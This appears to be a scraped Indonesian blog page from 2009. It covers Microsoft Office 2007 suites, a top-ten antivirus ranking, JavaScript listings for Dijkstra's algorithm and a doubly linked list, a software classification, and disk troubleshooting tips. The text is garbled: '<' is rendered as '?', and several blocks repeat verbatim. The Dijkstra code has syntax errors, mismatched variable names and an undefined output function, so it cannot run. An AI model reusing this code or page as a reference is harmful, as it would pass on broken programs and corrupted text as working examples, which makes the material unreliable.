Dengan cakupan Groove 2007 dan InfoPath 2007, suit ini adalah set yang paling menyeluruh dari perkakas bisnis real-time yang membantu orang-orang untuk berkolaborasi, menciptakan, mengelola, dan menggunakan informasi secara lebih efisien untuk mendapatkan hasil yang lebih baik dan lebih cepat.
Office for Mac
Suit aplikasi ini memberi para pengguna Macintosh aplikasi-aplikasi yang diperlukan untuk menciptakan dokumen, presentasi, menampilkan, mengelola, dan mengirimkan e-mail, terhubung ke Internet, berbagi ide, dan mengelola informasi. Dengan Office for Mac, pengguna dapat berkomunikasi dan berkolaborasi dengan mudah baik dengan PC maupun dengan para pengguna Mac.
Program-programnya
Microsoft Office Word 2007
Microsoft Office Excel 2007
Microsoft Office Outlook 2007
Microsoft Office Outlook 2007 with Business Contact Manager
Microsoft Office PowerPoint 2007
Microsoft Office Publisher 2007
Microsoft Office Access 2007
Microsoft Office InfoPath 2007
Microsoft Office Communicator 2007
Microsoft Office OneNote 2007
Microsoft Office Groove 2007
Microsoft Office Accounting Express 2008
Antivirus
Di awal Tahun 2009 TopTenREVIEWS sudah mengeluarkan beberapa review untuk Antivirus Terbaik 2009. Di Tahun sebelumnya TopTenREVIEWS juga mengeluarkan TOP 10 Antivirus Software, dimana pada tahun lalu posisi teratas di tempati oleh Bitdefender Anti-virus dan disusul oleh Kaspersky Anti-virus. Antivirus Terbaik 2009 ini di nilai dari hasil review para pengguna produk antivirus dan dari kemampuan serta fitur dari masing-masing antivirus tersebut. Seperti kecepatan untuk melakukan scan, capat dalam mengidentifikasi virus dan worms, kemudahan penggunaan, efektivitas, update databases, fitur, kemudahan installasi, help dan support.
Review yang dilakukan oleh TopTenREVIEWS terhadap produk antivirus sangat membantu kita dalam mengambil keputusan untuk memilih produk antivirus yang tepat dalam menjaga komputer kita terhadap serangan Virus, Worm, Spyware dan Trojan.
Yang perlu kita ketahui, semua software antivirus tidaklah sama, ada yang bagus, yang buruk dan sedang. Begitu banyak software antivirus yang berkembang saat ini, tentu kita sebagai pengguna dibuat bingung untuk memilih antivirus yang baik, untuk itu TopTenREVIEWS membantu kita dalam hal ini. Sebenarnya dalam memilih antivirus yang tepat dan baik ada 2 faktor yang menentukan yaitu User-friendliness and Effectiveness.
Berikut 10 Antivirus Terbaik 2009 yang dikeluarkan oleh TopTenREVIEWS:
Peringkat 1 : BitDefender Antivirus (www.bitdefender.com)
Peringkat 2 : Kaspersky Anti-Virus (www.kaspersky.com)
Peringkat 3 : Webroot Antivirus (www.webroot.com)
Peringkat 4 : ESET Nod32 (www.eset.com)
Peringkat 5 : AVG Anti-Virus (www.avg.com)
Peringkat 6 : Vipre Antivirus + Antispyware (www.vipreantivirus.com)
Peringkat 7 : F-Secure Anti-Virus (www.f-secure.com)
Peringkat 8 : Trend Micro (www.trendmicro.com)
Peringkat 9 : McAfee VirusScan (www.mcafee.com)
Peringkat 10 : Norton AntiVirus (www.symantec.com)
APLIKASI
Office
Microsoft Office adalah set produk perangkat lunak produktivitas dan manajemen kontak yang membantu Anda menghemat waktu, selalu terorganisir, dan memberikan layanan pelanggan yang luar biasa. Anda dapat membeli produk secara terpisah atau dalam kombinasi yang telah ditentukan.
Office Small Business 2007
Dengan Office 2007, Anda mendapatkan sebuah cara yang lebih cerdas untuk berfokus pada usah penjualan, pemasaran dan hubungan pelanggan. Cakupan Microsoft Office Outlook 2007 dengan Business Contact Manager memberi Anda kemampuan untuk mengurutkan dan mengelola e-mail dengan mudah, melacak dan mengorganisasi kontak dan aktivitas pelanggan, dan menjauhkan spam dan junk mail dari komputer Anda.
Office Professional 2007
Kini Anda dapat meramal dan melacak keuangan Anda secara lebih efektif. Suit ini juga mencakup Microsoft Office Accounting Express 2008 untuk membantu Anda mengelola keuangan bisnis Anda secara efektif dan sederhana.
Office Professional Plus 2007
Microsoft Office Communicator 2007, yang menggabungkan fitur telepon dan perangkat lunak, adalah bagian kunci dari suit ini. Microsoft Office Communicator 2007 juga menawarkan sebuah kemampuan grafis baru yang ampuh yang mengijinkan Anda menciptakan grafik, diagram, laporan dan lain sebagainya dengan dampak yang tinggi.
Office Enterprise 2007
Dengan cakupan Groove 2007 dan InfoPath 2007, suit ini adalah set yang paling menyeluruh dari perkakas bisnis real-time yang membantu orang-orang untuk berkolaborasi, menciptakan, mengelola, dan menggunakan informasi secara lebih efisien untuk mendapatkan hasil yang lebih baik dan lebih cepat.
Office for Mac
Suit aplikasi ini memberi para pengguna Macintosh aplikasi-aplikasi yang diperlukan untuk menciptakan dokumen, presentasi, menampilkan, mengelola, dan mengirimkan e-mail, terhubung ke Internet, berbagi ide, dan mengelola informasi. Dengan Office for Mac, pengguna dapat berkomunikasi dan berkolaborasi dengan mudah baik dengan PC maupun dengan para pengguna Mac.
Program-programnya
Microsoft Office Word 2007
Microsoft Office Excel 2007
Microsoft Office Outlook 2007
Microsoft Office Outlook 2007 with Business Contact Manager
Microsoft Office PowerPoint 2007
Microsoft Office Publisher 2007
Microsoft Office Access 2007
Microsoft Office InfoPath 2007
Microsoft Office Communicator 2007
Microsoft Office OneNote 2007
Microsoft Office Groove 2007
Microsoft Office Accounting Express 2008
Rabu, 17 Juni 2009
graph
?head>
?title>Dijkstra Algoritms ?/title>
?script>
?!--
alert("Taet Dijkstra");
//-->
?/script>
?/head>
?body>
?script language = "javascript">
var NilaiAcuan =10000;
var TakTerdefinisi=-1;
var Nama Verteks =new Array ('A','B','C','D','E','F');
var Matriks =new Array (6);
function Bobot (a,b)
{
return Matriks[a][b];
}
function Dijkstra (JumlahVerteks,Awal,d)
{
var Posisi =new Array(JumlahVerteks);
var i =new Array(JumlahVerteks);
var Kunjungan =new Array(JumlahVerteks);
var Sebelum =new Array(JumlahVerteks);
for (i=0; i?JumlahVerteks; i++)
{
Posisi[i] = NilaiAcuan;
Sebelum[i] = TakTerdefinisi;
Kunjungan[i] =false;
}
Posisi[Awal] =0;
var Verteks;
for (Verteks = 0; Verteks ? JumlahVerteks; Verteks++) {
var JarakTerpendek =NilaiAcuan, Berhenti =-1;
for (i=0; i ? JumlahVerteks; i++)
{
if (!Kunjungan[i])
{
if (posisi[i] ?= JarakTerpendek {
JarakTerpendek = Posisi[i]; Berhenti =i;
}
}
}
Kunjungan[Berhenti] = true;
for (i=0; i ? JumlahVerteks; i++)
{
if (!Kunjungan [i])
{
var w = Bobot (Berhenti, i);
if (Posisi[Berhenti]+w ? Posisi[i])
{
Posisi[i] = Posisi[Berhenti]+w;
Sebelum[i] = Berhenti;
}
}
}
}
i=d;
if (Posisi[i] ? NilaiAcuan) {
var Lintangan = NamaVerteks [i];
var Verteks = i;
while (Verteks>0)
{
Verteks = Sebelum[Verteks];
if (Verteks>=0) Lintasan = NamaVereteks [Verteks] + '->' + Lintasan)
{
message ("Jarak ; "+Posisi[i]+'('Lintasan+')'+'?br>');
}else
{
message ("Tidak ada Jalur");
}
}
function init() {
var x = NilaiAcuan
Matriks[0]=new Array(0,2,3,x,x,x);
Matriks[1]=new Array(2,0,3,6,x,x);
Matriks[2]=new Array(3,3,0,3,5,x);
Matriks[3]=new Array(x,6,3,0,1,3);
Matriks[4]=new Array(x,x,5,1,0,1);
Matriks[5]=new Array(x,x,x,3,1,0);
var Awal='?pre>'
Awal = Awal + 'A--2-B-6--D--3-F'+'?br>';
Awal = Awal + ' \ | /| / '+'?br>';
Awal= Awal + ' 3 3 3 1 1 '+'?br>';
Awal= Awal + ' \ | / | / '+'?br>';
Awal = Awal + ' \|/ |/ '+'?br>';
Awal = Awal + ' C--5-E '+'?br>';
Awal = Awal +'?/pre>';
message (Awal.replace(/(\d)+/g, '?font color ="red">$1?/font>'));
}
init()
var Dari=0 // A
var Ke =5 // F
Dijkstra(Matriks.length,Dari,Ke);
//-->
?/script>
?/body>
?/html>
?title>Dijkstra Algoritms ?/title>
?script>
?!--
alert("Taet Dijkstra");
//-->
?/script>
?/head>
?body>
?script language = "javascript">
var NilaiAcuan =10000;
var TakTerdefinisi=-1;
var Nama Verteks =new Array ('A','B','C','D','E','F');
var Matriks =new Array (6);
function Bobot (a,b)
{
return Matriks[a][b];
}
function Dijkstra (JumlahVerteks,Awal,d)
{
var Posisi =new Array(JumlahVerteks);
var i =new Array(JumlahVerteks);
var Kunjungan =new Array(JumlahVerteks);
var Sebelum =new Array(JumlahVerteks);
for (i=0; i?JumlahVerteks; i++)
{
Posisi[i] = NilaiAcuan;
Sebelum[i] = TakTerdefinisi;
Kunjungan[i] =false;
}
Posisi[Awal] =0;
var Verteks;
for (Verteks = 0; Verteks ? JumlahVerteks; Verteks++) {
var JarakTerpendek =NilaiAcuan, Berhenti =-1;
for (i=0; i ? JumlahVerteks; i++)
{
if (!Kunjungan[i])
{
if (posisi[i] ?= JarakTerpendek {
JarakTerpendek = Posisi[i]; Berhenti =i;
}
}
}
Kunjungan[Berhenti] = true;
for (i=0; i ? JumlahVerteks; i++)
{
if (!Kunjungan [i])
{
var w = Bobot (Berhenti, i);
if (Posisi[Berhenti]+w ? Posisi[i])
{
Posisi[i] = Posisi[Berhenti]+w;
Sebelum[i] = Berhenti;
}
}
}
}
i=d;
if (Posisi[i] ? NilaiAcuan) {
var Lintangan = NamaVerteks [i];
var Verteks = i;
while (Verteks>0)
{
Verteks = Sebelum[Verteks];
if (Verteks>=0) Lintasan = NamaVereteks [Verteks] + '->' + Lintasan)
{
message ("Jarak ; "+Posisi[i]+'('Lintasan+')'+'?br>');
}else
{
message ("Tidak ada Jalur");
}
}
function init() {
var x = NilaiAcuan
Matriks[0]=new Array(0,2,3,x,x,x);
Matriks[1]=new Array(2,0,3,6,x,x);
Matriks[2]=new Array(3,3,0,3,5,x);
Matriks[3]=new Array(x,6,3,0,1,3);
Matriks[4]=new Array(x,x,5,1,0,1);
Matriks[5]=new Array(x,x,x,3,1,0);
var Awal='?pre>'
Awal = Awal + 'A--2-B-6--D--3-F'+'?br>';
Awal = Awal + ' \ | /| / '+'?br>';
Awal= Awal + ' 3 3 3 1 1 '+'?br>';
Awal= Awal + ' \ | / | / '+'?br>';
Awal = Awal + ' \|/ |/ '+'?br>';
Awal = Awal + ' C--5-E '+'?br>';
Awal = Awal +'?/pre>';
message (Awal.replace(/(\d)+/g, '?font color ="red">$1?/font>'));
}
init()
var Dari=0 // A
var Ke =5 // F
Dijkstra(Matriks.length,Dari,Ke);
//-->
?/script>
?/body>
?/html>
Rabu, 10 Juni 2009
membuat linkedList ukuran
?html>
?head>
?title>Struktur Data Linked List?/title>
?/head>
?body>
?script language = "JavaScript">
?!--
function DoublyLinkedList()
{
this._Kepala = null;
this._Ekor = null;
this._Panjang = 0;
}
DoublyLinkedList.prototype =
{
constructor: DoublyLinkedList,
Tambah: function (data)
{
var node = {data: data, next: null, prev: null};
if (this._Panjang == 0)
{
this._Kepala = node;
this._Ekor = node;
}
else
{
this._Ekor.next = node;
node.prev = this._Ekor;
this._Ekor = node;
}
this._Panjang++;
},
ItemList: function(index)
{
if (index > -1 && index ? this._Panjang)
{
var NodeTanda = this._Kepala,
i = 0;
while(i++ ? index)
{
NodeTanda = NodeTanda.next;
}
return NodeTanda.data;
}
else
{
return null;
}
},
Buang: function(index){
if (index > -1 && index ? this._Panjang)
{
var NodeTanda = this._Kepala, i = 0;
if (index === 0)
{
this._Kepala = NodeTanda.next;
if (!this._Kepala)
{
this._Ekor = null;
}
else
{
this._Kepala.prev = null;
}
}
else
if (index === this._Panjang -1)
{
NodeTanda = this._Ekor;
this._Ekor = NodeTanda.prev;
this._Ekor.next = null;
}
else
{
while(i++ ? index)
{
NodeTanda = NodeTanda.next;
}
NodeTanda.prev.next = NodeTanda.next;
}
this._Panjang--;
return NodeTanda.data;
}
else
{
return null;
}
},
Ukuran: function(){
return this._Panjang;
},
toArray: function(){
var result = [],
NodeTanda = this._Kepala;
while(NodeTanda){
result.push(NodeTanda.data);
NodeTanda = NodeTanda.next;
}
return result;
},
toString: function(){
return this.toArray().toString();
}
}
var List = new DoublyLinkedList();
List.Tambah("Teknik Informatika");
List.Tambah("Teknik Komputer");
List.Tambah("Komputerisasi Akuntansi");
List.Tambah("Computer Networking");
List.Ukuran("4");
document.write("Isi LinkedList ?br>");
document.write("--------------- ?br>");
for (i=0; i?4; i++)
{
document.write(List.ItemList(i) + "?br>") ;
}
document.write("--------------- ?br>");
document.write ("Isi LinkedList Awal ="+List.Ukuran() +"?br>?br>");
alert("ItemList 1 pada Linked List diBuang, yaitu = " +List.ItemList(1));
List.Buang(1);
document.write("?br>Isi LinkedList Terakhir ?br>");
document.write("--------------- ?br>");
for (i=0; i?4; i++)
{
document.write(List.ItemList(i) + "?br>") ;
}
document.write("--------------- ?br>");
document.write ("Isi LinkedList Terakhir ="+List.Ukuran() +"?br>");
//-->
?/script>
?/body>
?/html>
?head>
?title>Struktur Data Linked List?/title>
?/head>
?body>
?script language = "JavaScript">
?!--
function DoublyLinkedList()
{
this._Kepala = null;
this._Ekor = null;
this._Panjang = 0;
}
DoublyLinkedList.prototype =
{
constructor: DoublyLinkedList,
Tambah: function (data)
{
var node = {data: data, next: null, prev: null};
if (this._Panjang == 0)
{
this._Kepala = node;
this._Ekor = node;
}
else
{
this._Ekor.next = node;
node.prev = this._Ekor;
this._Ekor = node;
}
this._Panjang++;
},
ItemList: function(index)
{
if (index > -1 && index ? this._Panjang)
{
var NodeTanda = this._Kepala,
i = 0;
while(i++ ? index)
{
NodeTanda = NodeTanda.next;
}
return NodeTanda.data;
}
else
{
return null;
}
},
Buang: function(index){
if (index > -1 && index ? this._Panjang)
{
var NodeTanda = this._Kepala, i = 0;
if (index === 0)
{
this._Kepala = NodeTanda.next;
if (!this._Kepala)
{
this._Ekor = null;
}
else
{
this._Kepala.prev = null;
}
}
else
if (index === this._Panjang -1)
{
NodeTanda = this._Ekor;
this._Ekor = NodeTanda.prev;
this._Ekor.next = null;
}
else
{
while(i++ ? index)
{
NodeTanda = NodeTanda.next;
}
NodeTanda.prev.next = NodeTanda.next;
}
this._Panjang--;
return NodeTanda.data;
}
else
{
return null;
}
},
Ukuran: function(){
return this._Panjang;
},
toArray: function(){
var result = [],
NodeTanda = this._Kepala;
while(NodeTanda){
result.push(NodeTanda.data);
NodeTanda = NodeTanda.next;
}
return result;
},
toString: function(){
return this.toArray().toString();
}
}
var List = new DoublyLinkedList();
List.Tambah("Teknik Informatika");
List.Tambah("Teknik Komputer");
List.Tambah("Komputerisasi Akuntansi");
List.Tambah("Computer Networking");
List.Ukuran("4");
document.write("Isi LinkedList ?br>");
document.write("--------------- ?br>");
for (i=0; i?4; i++)
{
document.write(List.ItemList(i) + "?br>") ;
}
document.write("--------------- ?br>");
document.write ("Isi LinkedList Awal ="+List.Ukuran() +"?br>?br>");
alert("ItemList 1 pada Linked List diBuang, yaitu = " +List.ItemList(1));
List.Buang(1);
document.write("?br>Isi LinkedList Terakhir ?br>");
document.write("--------------- ?br>");
for (i=0; i?4; i++)
{
document.write(List.ItemList(i) + "?br>") ;
}
document.write("--------------- ?br>");
document.write ("Isi LinkedList Terakhir ="+List.Ukuran() +"?br>");
//-->
?/script>
?/body>
?/html>
Klasifikasi Software
Software
Software adalah perangkat lunak yang umumnya digunakan untuk mengontrol perangkat keras, melakukan perhitungan, berinteraksi dengan perangkat lunak lainnya, dan lain-lain.
Beberapa klasifikasi software diantaranya:
Freeware
Freeware adalah perangkat lunak bebas yang mengacu pada kebebasan para penggunanya untuk menjalankan, menggandakan, menyebarluaskan, mempelajari, mengubah dan meningkatkan kinerja perangkat lunak. Suatu program merupakan perangkat lunak bebas, jika setiap pengguna memiliki semua dari kebebasan tersebut. Dengan demikian, kita seharusnya bebas untuk menyebarluaskan salinan program itu, dengan atau tanpa modifikasi (perubahan), secara gratis atau pun dengan memungut biaya penyebarluasan, kepada siapa pun dimana pun. Kebebasan untuk melakukan semua hal di atas berarti kita tidak harus meminta atau pun membayar untuk ijin tersebut.
Shareware
Shareware adalah perangkat lunak yang membatasi penggunanya dengan mengurangi fitur-fitur tertentu atau membatasi masa penggunaannya selama jangka waktu tertentu ataupun juga penggabungkan kedua hal ini. Tujuan dari publikasi shareware adalah untuk berbagi fungsi dan keunggulan perangkat lunak itu kepada konsumen sehingga konsumen bisa berkesempatan mencoba secara langsung perangkat lunak tersebut untuk kemudian memutuskan tidak lagi memakai software tersebut atau membeli versi penuhnya.
Software merupakan produk dari perusahaan pembuat software yang banyak bermunculan sehubungan dengan kebutuhan berbagai masalah pekerjaan yang membutuhkan waktu singkat oleh pemakai komputer saat ini.
Ada 4 kelompok besar software:
Operating System (Sistem Operasi)
Operating system merupakan program yang berfungsi untuk mengatur sistem kerja seluruh komputer seperti layaknya penerjemah antara hardware dan software yang akan dilakukannya.
Contoh :
- PC-DOS atau MS-DOS untuk Personal Computer (PC)
- Novell Netware dan UNIX untuk jaringan komputer
- Windows dan berbagai variannya untuk PC atau jaringan
- Linux dengan berbagai distronya untuk PC atau jaringan
Utility Software (Program Bantu)
Software ini merupakan software jadi yang digunakan untuk membantu mempermudah dalam menangani pekerjaan awal dalam pengoperasian komputer beserta perangkatnya. Misalnya untuk
- memeriksa (scanning),
- menganalisa (analyzing),
- memperbaiki (repairing),
- mencari (searching),
- menggandakan (copying) file
- dan sebagainya.
Contoh :
- Norton Utility (NU)
- PC Tools
- Xtree
- QuickDos
Package Software (Program Paket)
a. Word Processing (Pengolah Kata)
Pengolah kata biasanya dipakai untuk pembuatan naskah.
Contoh :
- Word Star
- Word Perfect
- Microsoft Word
- Chi Writer
- PFS Write
b. Spread Sheet (Pengolah Angka)
Software ini dipakai lebih banyak untuk pembuatan tabel-tabel dan angka.
Contoh :
- Lotus 123
- Super Calc
- Symphony
- Quattro
- Microsoft Excel
c. Database (Pengolah Data Awal)
Software ini pada dasarnya digunakan untuk mengatur informasi-informasi sehingga dapat memudahkan pencarian atau penyimpanan.
Contoh :
- dBase III
- dBXL
- Foxbase
- Paradox
- RBase
d. Publisher (Pengolah Tata Letak)
Software ini banyak dipakai oleh perusahaan cetak mencetak, surat kabar atau penerbitan yang banyak memerlukan pengaturan bentuk, jenis dan tata letak karakter tertentu.
Contoh :
- Ventura Desktop Publishing
- Microsoft Publisher
- PageMaker
- Flash
- Corel
e. Aided Design (Pengolah Rancang Bangun)
Software ini pada dasarnya dipakai untuk pembuatan rancang bangun (design) sebuah benda, ruangan, bangunan gedung, peta kota dan sebagainya.
Contoh :
- AutoCAD
- ProDesign
- DR Hallo
f. Statistic (Pengolah Statistik)
Software ini dipakai untuk memecahkan permasalahan statistik baik di bidang ekonomi, teknik, kesehatan, sosial dan budaya.
Contoh :
- SPSS
- MicroStat
- MiniTab
g. Language Program (Bahasa Pemrograman)
Software ini banyak dipakai oleh seorang programmer, program ini berfungsi untuk menciptakan software-software baru yang digunakan untuk membantu/mempermudah kerja seorang operator komputer.
Contoh :
- Turbo Assembler (bahasa pemrograman tingkat rendah)
- Basic, Pascal, Fortran, Cobol, Visual Basic (bahasa pemrograman tingkat menengah)
- Clipper, FoxPro, Delphi, C+ (bahasa pemrograman tingkat tinggi)
Pada perkembangan selanjutnya software ini juga dipakai untuk merusak data, informasi atau software-software (bahkan juga hardware) yang lain. Hasil dari pembuatan program yang berfungsi untuk merusak ini dikenal dengan Virus. Kata “virus” sebenarnya adalah kata yang sengaja diambil dari dunia kedokteran untuk dipakai di dunia komputer, karena mempunyai sifat yang sama yaitu “merusak” (membuat penyakit).
Virus komputer sebenarnya adalah program juga, ia sengaja dibuat oleh seseorang (programmer) yang tidak senang dengan kesempurnaan, dia lebih senang membuat kerusakan. Oleh karena itu tindakan membuat virus komputer bisa dikatakan “sebuah kejahatan“.
h. Anti Virus
Software ini khusus untuk mengantisipasi (membunuh) virus yang mungkin bisa masuk ke dalam komputer, baik itu komputer yang sendirian (stand alone) atau komputer dalam jaringan (network).
Contoh :
- Dr. Solomon Anti Virus
- Norton Anti Virus
- McAfee Virus Scan
- PC-Cillin
Applicated (Program Aplikasi)
Program ini merupakan program siap pakai, banyak dibuat untuk aplikasi-palikasi kerja tertentu seperti akuntansi, berbagai macam format, kartu-kartu, sampul buku, editing foto dan sebagainya.
Contoh :
- PrinShop
- PhotoShop
- DAC Easy
- Form Tools
- Free Hand
- Easy Flow
KLASIFIKASI PERANGKAT LUNAK (Software)
Perangkat lunak secara umum dapat di bagi 2 yaitu :
1. Perangkat lunak sistem
2. Perangkat lunak aplikasi.
Perangkat lunak sistem dapat di bagi lagi menjadi 3 macam yaitu :
1. Bahasa pemrograman : merupakan perangkat lunak yang bertugas mengkonversikan arsitektur dan algoritma yang di rancang manusia ke dalam format yang dapat di jalankan komputer, contoh bahasa pemrograman di antaranya : BASIC, COBOL, Pascal, C++, FORTRAN
2. Sistem Operasi : saat komputer pertama kali di hidupkan, sistem operasilah yang pertama kali di jalankan, sistem operasi yang mengatur seluruh proses, menterjemahkan masukan, mengatur proses internal, memanejemen penggunaan memori dan memberikan keluaran ke peralatan yang bersesuaian, contoh sistem operasi : DOS, Unix, Windows 95, IMB OS/2, Apple’s System 7
3. Utility : sistem operasi merupakan perangkat lunak sistem dengan fungsi tertentu, misalnya pemeriksaan perangkat keras (hardware troubleshooting), memeriksa disket yang rusak (bukan rusak fisik), mengatur ulang isi harddisk (partisi, defrag), contoh Utilty adalah Norton Utility
Perangkat lunak aplikasi merupakan bagian perangkat lunak yang sangat banyak di jumpai dan terus berkembang, baik pada system operasi berbasis text maupun pada system operasi berbasis Grafis (GUI). Sebelum tahun 1990-an aplikasi yang di kenal yaitu pemroses kata (Word Star, Chi Write), pemproses tabel (Lotus 123, Quatro Pro), database (DBASE), dan hiburan (game). Pada perkembangan pemroses kata, tabel dan database saat ini telah di bundel menjadi aplikasi office atau Open Office dengan tambahan aplikasi untuk pembuatan presentasi yang nanti akan di berikan pada pelatihan ini. Contoh aplikasi office adalah Microsoft Office yang terdiri dari Word(pemroses kata), Excel (pemroses tabel), Access (database), dan PowerPoint (presentasi). Dan contoh Open Office KWord (Pemroses kata), KSpreed(Pemroses table), KPresenter (presentasi). Yang berkembang sangat banyak saat ini adalah aplikasi multimedia dan internet. Contoh aplikasi multimedia adalah Winamp, Media Player, XMMS, untuk memutar musik berformat MP3 atau CD Audio, kemudian RealPlayer, Power DVD, XINE yang dapat digunakan untuk menonton film atau VCD. Aplikasi internet yang umum di gunakan adalah untuk browsing,e-mail, chatting dan messenger. Aplikasi yang bersifat khusus di antaranya untuk membantu pekerjaan Engineer seperti AutoCAD (gambar struktur), Protel (gambar rangkaian elektronik), dan Matlab (pemroses dan visualisasi persamaan matematis).
Sistem Operasi
Sistem operasi sangat berkaitan dengan prosesor yang di gunakan. Jenis prosesor pada PC yang umum adalah yang kompatibel dengan produk awal IBM dan Macintosh. PC Macintosh, perangkat lunaknya di kembangkan oleh perusahaan yang sama sehingga perkembangannya tidak sepesat cloning IBM PC. Sistem operasi dari cloning IBM saat ini secara umum terbagi menjadi 2 aliran yaitu komersil yang di buat oleh Microsoft, dan Linux yang bersifat freeware yang di kembangkan oleh peneliti dari seluruh dunia karena bersifat open source, yaitu bahan baku pembuatan dapat di baca, sehingga hasilnya dapat di tambah atau di modifikasi oleh setiap orang. Sementara interaksi antara pengguna dan komputer di kenal melalui 2 cara, cara yang pertama adalah pemberian instruksi melalui penulisan perintah (text), atau dengan cara tunjuk (pointer) dengan tampilan grafis (GUI).
Instlasi Software pada berbagai macam basis OS
Instalasi Software Ms-Office
Ms-Offiice merupakan paket software yang dibuat oleh Microsoft, yang termasuk dalam paket software ini antara lain : Ms-Word (Word Processing), Ms-Excel (Spreed Sheet), Ms-Power Point (Presentasi), Ms-Access (Database).
Pertama yang perlu dipahami adalah bahwa software ini hanya dapat diinstalasi dan berjalan pada system operasi Microsoft Windows.
Adapun langkah-langkah instalasinya adalah sebagai berikut :
1. Siapkan Paket instalasi software yang legal dalam media penyimpanan yang sesuai seperti HD, CD, FDD, DVD atau media lain.
2. Jalankan system operasi Windows dan pastikan bahwa system operasi tersebut telah berjalan dengan baik.
3. Pastikan bahwa ruang (spaces) HD masih mencukupi.
4. Apabila paket software tersedia dalam media CD, maka masukkan CD installer tersebut kedalam CD-Room.
5. Ikuti proses instalasi sesuai dengan Petunjuk instalasi (Instalation user manual).
Instalasi Open Office
Open Office merupakan paket software freeware (open source), software ini berjalan pada sistem operasi Linux. Adapun yang termasuk dalam paket software ini antara lain : K-Word (Word processing), KSpreed (Spread Sheet), KPresenter (Presentasi).
Langkah-langkah instalasi paket software ini adalah :
1. Masuk ke modus Yast
2. Masuk menu instalasi software
3. Pilih dan tandai software yang akan diinstalasi.
4. dan Lanjutkan sesuai dengan petunjuk/langkah-langkah, dalam instalation user manual.
Troubleshouting
Di dalam proses tidak jarang akan terjadi sutu troubleshouting-troubleshouting yang terajdi mulai dari proses partisi harddisk sampai dengan pengintalan, antara lain :
1. Media Penyimpanan (Harddisk/Diket/CD)
> Boot record rusak
Ciri-ciri kerusakan :
· Bila Media Penyimpanan tersebut diakses, missal pindah directory atau memberi perintah dir/explor untuk melihat file maka akan keluar pesan General failure reading drive n :
( n adalah nama drive, bisa a atau c )
· Bila dilakukan perintah format maka akan mengeluarkan pesan kesalahan :
Invalid media track 0 bad – disk unusable format terminated
Kerusakan pada media ini biasanya sangat fatal terutama pada track 0 yang bad secara fisik, selama ini kasus media track 0 yang hancur tidak bisa diperbaiki.
> FAT rusak
Setiap cluster ( penyimpanan terkecil yang dibutuhkan suatu file ) memiliki satu lokasi dalam fat yang menunjukkan cluter yang berikutnya.
Ciri – ciri kerusakan :
· Bila suatu file bicara dengan perintah dos misalnya type nama file, akan muncul pesan kesalahan :
File allocation table bad, drive n
· Bila suatu file dibuka atau dibaca isinya ter nyata ada sebagian isi file yang hilang dan digantikan dengan karakter aneh atau ada bagian file yang hilang
Untuk membetulkan FAT dapat dilakukan dengan perintah CHKDSK dengan parameter /f (fix). Ketikkan C: \CHKDSK /f n: (Enter) maka CHKDK akan memperbaikinya dengan mengatur ukuran file untuk kesalahan alokasi, memotong file dari bagian yang rusak dan hasilnya disimpan dalam bentuk FILENNNN.CHK pada direktori utama. NNNN adalah nomor yang berurutan ( dimulai dari angka 0000 ).
> Root Directory Rusak
bagian ini merupakan bagian yang berhubungan dengan pemanipulasian file, yaitu tentang nama file, eksternsi, atribut, hari dan tanggal file dibuat, nomor cluster awl dan ukuran file.
Ciri – ciri kerusakan :
Karena berfariainya kerusakan derektory yang mungkin maka berikut ini contoh kesalahan yang umum terjadi :
· Bila dilakukan perintah DIR, akan ditampilkan pesan kesalahan :
Data eror reading drive n:
Abort, retry, fail ?_
Atau bisa juga ditampilkan pesan :
General failure error reading drive n :
Abort, retry, fail ?_
Cara mengatasi kesalahan pada root directory bisa dilakukan dengan
utility scandisk.
> Jika terdapat Bad Sector
Cirri -ciri Kerusakan :
Kesalahan jenis ini menyebabkan fele yang menempati sector yang rusak ( bad sector) tidak bisa diakses, baik itu dibaca, ditulisi atau dikopi, bila file tersebut diakses maka computer akan memberikan pesan kealahan :
Error reading drive n
Abort, retry, ignore ?_
Pilihan ignore berarti memaksa computer untuk tetap membaca bagian yang rusak. Bila ini dipilih maka kemungkinan computer akan hang. Biasanya jika bed sector itu cara fisik memang rusak maka disk tersebut akan tetap memiliki bad sector. Untuk mengatasi atau memindahkan data yang ada pada bad sector tersebut sekaligus menandainya bahwa terdapat bad di situ digunakan scandisk.
Software
Software adalah perangkat lunak yang umumnya digunakan untuk mengontrol perangkat keras, melakukan perhitungan, berinteraksi dengan perangkat lunak lainnya, dan lain-lain.
Beberapa klasifikasi software diantaranya:
Freeware
Freeware adalah perangkat lunak bebas yang mengacu pada kebebasan para penggunanya untuk menjalankan, menggandakan, menyebarluaskan, mempelajari, mengubah dan meningkatkan kinerja perangkat lunak. Suatu program merupakan perangkat lunak bebas, jika setiap pengguna memiliki semua dari kebebasan tersebut. Dengan demikian, kita seharusnya bebas untuk menyebarluaskan salinan program itu, dengan atau tanpa modifikasi (perubahan), secara gratis atau pun dengan memungut biaya penyebarluasan, kepada siapa pun dimana pun. Kebebasan untuk melakukan semua hal di atas berarti kita tidak harus meminta atau pun membayar untuk ijin tersebut.
Shareware
Shareware adalah perangkat lunak yang membatasi penggunanya dengan mengurangi fitur-fitur tertentu atau membatasi masa penggunaannya selama jangka waktu tertentu ataupun juga penggabungkan kedua hal ini. Tujuan dari publikasi shareware adalah untuk berbagi fungsi dan keunggulan perangkat lunak itu kepada konsumen sehingga konsumen bisa berkesempatan mencoba secara langsung perangkat lunak tersebut untuk kemudian memutuskan tidak lagi memakai software tersebut atau membeli versi penuhnya.
Software merupakan produk dari perusahaan pembuat software yang banyak bermunculan sehubungan dengan kebutuhan berbagai masalah pekerjaan yang membutuhkan waktu singkat oleh pemakai komputer saat ini.
Ada 4 kelompok besar software:
Operating System (Sistem Operasi)
Operating system merupakan program yang berfungsi untuk mengatur sistem kerja seluruh komputer seperti layaknya penerjemah antara hardware dan software yang akan dilakukannya.
Contoh :
- PC-DOS atau MS-DOS untuk Personal Computer (PC)
- Novell Netware dan UNIX untuk jaringan komputer
- Windows dan berbagai variannya untuk PC atau jaringan
- Linux dengan berbagai distronya untuk PC atau jaringan
Utility Software (Program Bantu)
Software ini merupakan software jadi yang digunakan untuk membantu mempermudah dalam menangani pekerjaan awal dalam pengoperasian komputer beserta perangkatnya. Misalnya untuk
- memeriksa (scanning),
- menganalisa (analyzing),
- memperbaiki (repairing),
- mencari (searching),
- menggandakan (copying) file
- dan sebagainya.
Contoh :
- Norton Utility (NU)
- PC Tools
- Xtree
- QuickDos
Package Software (Program Paket)
a. Word Processing (Pengolah Kata)
Pengolah kata biasanya dipakai untuk pembuatan naskah.
Contoh :
- Word Star
- Word Perfect
- Microsoft Word
- Chi Writer
- PFS Write
